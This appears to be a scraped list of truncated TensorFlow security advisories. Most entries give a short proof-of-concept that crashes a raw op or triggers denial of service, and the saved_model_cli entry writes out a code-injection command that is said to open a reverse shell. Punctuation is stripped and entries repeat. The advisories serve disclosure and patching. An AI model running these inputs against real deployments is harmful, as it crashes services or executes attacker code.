PT-2026-59745

Impact When converting transposed convolutions using per-channel weight quantization the converter segfaults and crashes the Python process. python import tensorflow as tf class QuantConv2DTransposedtf.keras.layers.Layer: def buildself, input shape: self.kernel = self.add weight"kernel", 3, 3,...

PT-2026-59959

Impact If a numpy array is created with a shape such that one element is zero and the others sum to a large number, an error will be raised. E.g. the following raises an error: python np.ones0, 231, 231 An example of a proof of concept: python import numpy as np import tensorflow as tf input val ...

PT-2026-59903

Impact When running on GPU, tf.image.generate bounding box proposals receives a scores input that must be of rank 4 but is not checked. python import tensorflow as tf a = tf.constantvalue=1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0 b = tf.constantvalue=1 tf.image.generate bounding box...

PT-2026-59891

Impact When SparseSparseMaximum is given invalid sparse tensors as inputs, it can give an NPE. python import tensorflow as tf tf.raw ops.SparseSparseMaximum a indices=1, a values = 0.1 , a shape = 2, b indices=, b values =2 , b shape = 2, Patches We have patched the issue in GitHub commit...

PYSEC-2026-3125 Code injection in `saved_model_cli` in TensorFlow

Impact TensorFlow's savedmodelcli tool is vulnerable to a code injection: savedmodelcli run --inputexprs 'x=print"malicious code to run"' --dir ./ --tagset serve --signaturedef servingdefault This can be used to open a reverse shell savedmodelcli run --inputexprs 'hello=exec"""\nimport...

PYSEC-2026-3112 Undefined behavior when users supply invalid resource handles

Impact Multiple TensorFlow operations misbehave in eager mode when the resource handle provided to them is invalid: python import tensorflow as tf tf.rawops.QueueIsClosedV2handle= python import tensorflow as tf tf.summary.flushwriter= In graph mode, it would have been impossible to perform these...

PYSEC-2026-3350 Missing validation causes denial of service via `SparseTensorToCSRSparseMatrix`

Impact The implementation of tf.rawops.SparseTensorToCSRSparseMatrix does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack: python import tensorflow as tf indices = tf.constant53, shape=3, dtype=tf.int64 values =...

PYSEC-2026-3265 Missing validation causes `TensorSummaryV2` to crash

Impact The implementation of tf.rawops.TensorSummaryV2 does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack: python import numpy as np import tensorflow as tf tf.rawops.TensorSummaryV2 tag=np.array'test',...

PYSEC-2026-3254 Integer overflow in Tensorflow

Impact The implementation of OpLevelCostEstimator::CalculateOutputSize is vulnerable to an integer overflow if an attacker can create an operation which would involve tensors with large enough number of elements: cc for const auto& dim : outputshape.dim outputsize = dim.size; Here, we can have a...

PYSEC-2026-3139 Reachable Assertion in Tensorflow

Impact When decoding a resource handle tensor from protobuf, a TensorFlow process can encounter cases where a CHECK assertion is invalidated based on user controlled arguments. This allows attackers to cause denial of services in TensorFlow processes. Patches We have patched the issue in GitHub...

PYSEC-2026-1954 Invalid char to bool conversion when printing a tensor

Impact When printing a tensor, we get it's data as a const char array since that's the underlying storage and then we typecast it to the element type. However, conversions from char to bool are undefined if the char is not 0 or 1, so sanitizers/fuzzers will crash. Patches We have patched the issu...

TensorFlow has Null Pointer Error in SparseSparseMaximum

ImpactWhen SparseSparseMaximum is given invalid sparse tensors as inputs, it can give an NPE. pythonimport tensorflow as tftf.rawops.SparseSparseMaximum aindices=1, avalues = 0.1 , ashape = 2, bindices=, bvalues =2 , bshape = 2, PatchesWe have patched the issue in GitHub commit...

TensorFlow has Null Pointer Error in LookupTableImportV2

ImpactThe function tf.rawops.LookupTableImportV2 cannot handle scalars in the values parameter and gives an NPE.pythonimport tensorflow as tfv = [email protected]=Truedef test: func = tf.rawops.LookupTableImportV2 para='tablehandle': v.handle,'keys': 62.98910140991211,...

PYSEC-2026-961 TensorFlow has null dereference on ParallelConcat with XLA

Impact When running with XLA, tf.rawops.ParallelConcat segfaults with a nullptr dereference when given a parameter shape with rank that is not greater than zero. python import tensorflow as tf func = tf.rawops.ParallelConcat para = 'shape': 0, 'values': 1 @tf.functionjitcompile=True def test: y =...

Invalid char to bool conversion when printing a tensor

ImpactWhen printing a tensor, we get it's data as a const char array since that's the underlying storage and then we typecast it to the element type. However, conversions from char to bool are undefined if the char is not 0 or 1, so sanitizers/fuzzers will crash. PatchesWe have patched the issue ...

PYSEC-2026-1035 `tf.raw_ops.Mfcc` crashes

Impact If ThreadUnsafeUnigramCandidateSampler is given input filterbankchannelcount greater than the allowed max size, TensorFlow will crash. python import tensorflow as tf tf.rawops.Mfcc spectrogram = 1.38, 6.32, 5.75, 9.51, samplerate = 2, upperfrequencylimit = 5.0, lowerfrequencylimit = 1.0,...

PYSEC-2026-941 `CHECK` fail via inputs in `SdcaOptimizer`

Impact Inputs densefeatures or examplestatedata not of rank 2 will trigger a CHECK fail in SdcaOptimizer. python import tensorflow as tf tf.rawops.SdcaOptimizer sparseexampleindices=4 tf.random.uniform5,5,5,3, dtype=tf.dtypes.int64, maxval=100, sparsefeatureindices=4 tf.random.uniform5,5,5,3,...

`CHECK_EQ` fail in `tf.raw_ops.TensorListResize`

ImpactIf tf.rawops.TensorListResize is given a nonscalar value for input size, it results CHECK fail which can be used to trigger a denial of service attack.pythonimport numpy as npimport tensorflow as tfa = datastructures.tftensorlistnewelements = tf.constantvalue=3, 4, 5b = np.zeros0, 2, 3,...

Out of bounds write in grappler in Tensorflow

ImpactThe function MakeGrapplerFunctionItem takes arguments that determine the sizes of inputs and outputs. If the inputs given are greater than or equal to the sizes of the outputs, an out-of-bounds memory read or a crash is triggered. PatchesWe have patched the issue in GitHub commit...

FPE in `tf.image.generate_bounding_box_proposals`

ImpactWhen running on GPU, tf.image.generateboundingboxproposals receives a scores input that must be of rank 4 but is not checked.pythonimport tensorflow as tfa = tf.constantvalue=1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0b =...